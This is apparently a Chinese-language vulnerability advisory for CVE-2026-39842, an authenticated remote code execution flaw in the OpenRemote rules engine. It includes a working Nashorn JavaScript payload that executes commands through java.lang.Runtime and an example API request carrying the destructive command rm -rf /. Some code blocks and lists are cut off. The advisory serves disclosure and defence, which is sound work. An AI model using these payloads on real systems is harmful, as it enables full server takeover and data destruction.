OpenRemote 规则引擎中存在严重的远程代码执行漏洞,允许拥有 write:rules 角色的已认证用户在服务器上以 root 权限执行任意代码。
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H| 方面 | 详情 |
|---|---|
| CVE ID | CVE-2026-39842 |
| GHSA ID | GHSA-7mqr-33rv-p3mp |
| 漏洞类型 | 代码注入 / 表达式语言注入 |
| CVSS 评分 | 10.0(严重) |
| CWE | CWE-94、CWE-917 |
| 产品 | OpenRemote |
| 受影响版本 | <= 1.21.0 |
| 修复版本 | >= 1.22.0 |
| 是否需要认证 | 是 |
| 所需权限级别 | write:rules 角色(非超级用户) |
| 受影响端点 | POST /api/{realm}/rules/realm、POST /api/{realm}/rules/asset |
| 远程代码执行权限级别 | root |
| 可利用性 | 高 |
| 复杂度 | 低 |
| 发现日期 | 2026 |
OpenRemote 是一个开源物联网平台,用于构建智慧建筑、智慧城市和智慧工业。它为物联网生态系统提供设备管理、自动化规则、分析和集成功能。
Internet / Network
|
┌────────┴────────┐
v v
┌──────────────┐ ┌──────────────┐
| Web Browser | | Mobile App |
└──────────────┘ └──────────────┘
| |
└────────┬────────┘
v
┌──────────────────┐
| OpenRemote API |
| (REST/WebSocket) |
└────────┬─────────┘
v
┌──────────────────┐
| Manager Service |
| (Port 8080) |
└────────┬─────────┘
|
┌────────────────────┼────────────────────┐
| | |
v v v
┌──────────┐ ┌──────────┐ ┌──────────────┐ | Rules | | Asset | | Notification | | Engine | | Storage | | Service | └──────────┘ └──────────┘ └──────────────┘ | | v v ┌──────────────────────────────────┐ | PostgreSQL / Timescale Database | └──────────────────────────────────┘
---
## 漏洞深入剖析
### 根本原因分析
该漏洞源于 OpenRemote 规则引擎中的两个关键缺陷:
**缺陷 1:未沙箱化的 Nashorn JavaScript 引擎**
Java Nashorn JavaScript 引擎在没有任何沙箱、安全管理器或 ClassFilter 限制的情况下,被用于评估用户提供的规则表达式。这使得攻击者可以直接从 JavaScript 上下文中访问 Java 类。
**缺陷 2:被禁用的 Groovy 沙箱**
Groovy 脚本引擎原本注册了 GroovyDenyAllFilter 以防止代码执行,但该过滤器注册在代码库中被注释掉了。仅在 API 层面存在 Groovy 强制限制(RulesResourceImpl.java:262),而 JavaScript 则没有任何限制。
### 易受攻击的代码路径```
RulesResource.java (lines 153-158)
|
> POST request handler for rule creation
|
v
RulesetDeployment.java (line 368)
|
> scriptEngine.eval(ruleExpression)
|
v
Nashorn Engine
|
> No ClassFilter / SecurityManager
> Java.type() accessible
> Runtime.exec() available
该漏洞影响具有 write:rules 角色的已认证用户。RulesResourceImpl.java:262 处的授权检查仅对非超级用户阻止 Groovy:```
if (!isUserSuperuser && isGroovy) {
throw new UnauthorizedException("Groovy rules not allowed");
}
这意味着:
- 非超级用户可以创建 JavaScript 规则(无阻止)
- 非超级用户无法创建 Groovy 规则(被阻止)
- JavaScript 没有沙箱隔离,因此任何具有 write:rules 权限的已认证用户都可能进行利用
此外,可以通过对 assetStorageService 进行反射来绕过多租户隔离,从而访问其他领域的数据。
### 攻击流程```
┌─────────────────────────────────────────────────────┐
| 1. Attacker authenticates with write:rules role |
└─────────────────────────────────────────────────────┘
|
v
┌─────────────────────────────────────────────────────┐
| 2. POST /api/{realm}/rules/realm with JS expression|
└─────────────────────────────────────────────────────┘
|
v
┌─────────────────────────────────────────────────────┐
| 3. Expression passes validation (no checks) |
└─────────────────────────────────────────────────────┘
|
v
┌─────────────────────────────────────────────────────┐
| 4. RulesetDeployment.java calls scriptEngine.eval() |
└─────────────────────────────────────────────────────┘
|
v
┌─────────────────────────────────────────────────────┐
| 5. Nashorn Engine executes JavaScript payload |
└─────────────────────────────────────────────────────┘
|
v
┌─────────────────────────────────────────────────────┐
| 6. Java.type("java.lang.Runtime") access granted |
└─────────────────────────────────────────────────────┘
|
v
┌─────────────────────────────────────────────────────┐
| 7. Arbitrary command execution as root |
└─────────────────────────────────────────────────────┘
步骤 1:获取 write:rules 凭据
经过身份验证的用户需要具备 write:rules 角色。这可以是:
步骤 2:构造 JavaScript 载荷
使用可访问 Java Runtime 的 JavaScript 创建规则表达式:```javascript var result = ""; try { var runtime = Java.type("java.lang.Runtime").getRuntime(); var process = runtime.exec("id"); var reader = new java.io.BufferedReader( new java.io.InputStreamReader(process.getInputStream()) ); var line; while ((line = reader.readLine()) != null) { result += line; } } catch (e) { result = e.toString(); } result;
**步骤 3:发送到易受攻击的端点**```
POST /api/{realm}/rules/realm HTTP/1.1
Content-Type: application/json
{
"name": "malicious_rule",
"enabled": true,
"trigger": "timer",
"actions": [
{
"type": "local_action",
"target": "asset_id",
"action": "perform_action",
"value": "// Payload here"
}
],
"ruleExpression": "var runtime = Java.type('java.lang.Runtime').getRuntime(); runtime.exec('rm -rf /');"
}
步骤 4:规则执行
平台会立即或在计划触发时间评估规则,并以 root 权限执行载荷。
步骤 5:利用后阶段
获得 root 权限的 RCE 后,攻击者可以:
已认证的攻击者可在 OpenRemote 服务器上以 root 权限执行任意代码。这是最严重的影响,可导致系统完全沦陷。``` Result of successful exploitation: uid=0(root) gid=0(root) groups=0(root)
#### 文件系统访问
对系统上所有文件的完整读写权限:
- 应用程序源代码泄露
- 敏感配置文件(数据库密码、API 密钥)
- 系统文件和凭据
- Docker 容器文件(如果容器化部署)
#### 环境变量窃取
访问包含以下内容的环境变量:
- 数据库连接字符串
- API 密钥和令牌
- OAuth 机密
- 私有加密密钥
- AWS/云凭据
#### 数据泄露
在多租户部署中,攻击者可以通过反射绕过租户隔离:
- 同时访问所有租户的数据
- 读取机密物联网传感器数据
- 跨组织修改自动化规则
- 提取商业情报和专有信息
#### 系统完整性
- 永久后门安装
- 恶意软件部署
- 勒索软件执行
- 供应链攻击(如果在开发中使用)
#### 服务中断